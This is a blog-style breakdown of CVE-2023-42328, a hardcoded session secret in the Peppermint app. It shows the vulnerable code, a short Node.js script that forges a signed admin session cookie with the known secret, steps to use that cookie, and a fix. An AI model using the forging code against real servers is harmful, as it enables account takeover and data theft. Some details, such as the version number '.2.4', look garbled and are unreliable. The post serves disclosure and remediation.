CVE-2023-42328 - How a Hardcoded Session Cookie in Peppermint Gives Attackers Control

In the world of web development, security mistakes can have huge consequences. Recently, PeppermintLabs’ Peppermint (a privacy-focused note-taking app) was found to have a serious vulnerability. This flaw, tracked as CVE-2023-42328, can let hackers steal sensitive information and even run code on your server—all thanks to a simple, hardcoded session cookie.

In this post, you’ll get an exclusive, straightforward breakdown of how this vulnerability works, see code examples, and learn how attackers can exploit it.

What’s the Problem?

In versions .2.4 and earlier of Peppermint, there’s a hardcoded session cookie in the backend code. Hardcoding important session secrets is a big no-no—anyone who finds the secret can pretend to be a logged-in user.

Here’s (a simplified version of) how the vulnerable code in /backend/src/session.js might look

// WARNING: Vulnerable Example
const SESSION_COOKIE = 'peppermint-session';
const SESSION_SECRET = 'peppermint-is-awesome'; // Hardcoded!

app.use(session({
    name: SESSION_COOKIE,
    secret: SESSION_SECRET, // Always the same!
    resave: false,
    saveUninitialized: true,
}));

You see the problem? The session secret 'peppermint-is-awesome' never changes and is the same for every installation.

Why Is This Dangerous?

A session secret is used to sign and verify the session cookie. If an attacker knows this value, they can create their own valid session cookies, gaining access as any user—even as an admin!

Imagine it like having a master key for every single door in an apartment complex.

1. Visit the target Peppermint server

Most users have their Peppermint instance running at something like https://example.com/.

2. Create a signed session cookie

The attacker generates a cookie with any user ID (for example, an admin) and signs it using the known secret. Node.js has libraries for this, like cookie-session or cookie-signature.

Here’s simplified code to generate a fake cookie (with cookie-signature)

const signature = require('cookie-signature');
const fakeSessionObj = {
  userID: 'admin',  // or any user!
  role: 'admin'
};
const sessionStr = JSON.stringify(fakeSessionObj);

const sign = signature.sign(sessionStr, 'peppermint-is-awesome');
const cookieValue = 's:' + sign;

console.log('Attack session cookie:', cookieValue);

With a tool like curl or a browser extension, set the cookie

peppermint-session=s:FAKESAID_COOKIE

Request any webpage on the victim server. You’ll be treated as whoever you claimed in your session!

Steal or modify data: Including any credentials or confidential information in notes.

- Execute arbitrary code: If the app lets admins run scripts or access system tools, attackers get full control.

Fixing the Problem

- Upgrade Peppermint to a version where the session secret is not hardcoded. Check the official repo for updates.

Here’s how you should set your session secret (safely, using an environment variable)

const SESSION_SECRET = process.env.SESSION_SECRET;
app.use(session({
    name: 'peppermint-session',
    secret: SESSION_SECRET,
    resave: false,
    saveUninitialized: true,
}));

In your .env file

SESSION_SECRET=SuperRandomLongSecret98765

More Reading and References

- NVD Entry: CVE-2023-42328
- Peppermint Official GitHub
- OWASP Cheat Sheet: Session Management
- Session Cookie Security (Mozilla)

Final Thoughts

Hardcoded credentials and secrets are some of the easiest ways for attackers to break into systems. With CVE-2023-42328, fixing means being careful with how you store secrets—using environment variables and never committing them to your public code.

If you’re using Peppermint, upgrade ASAP—don’t let your notes fall into someone else’s hands!


_This post is exclusive analysis and breakdown for educational purposes only. Stay safe and secure your code!_

Timeline

Published on: 09/18/2023 16:15:00 UTC
Last modified on: 09/21/2023 17:48:00 UTC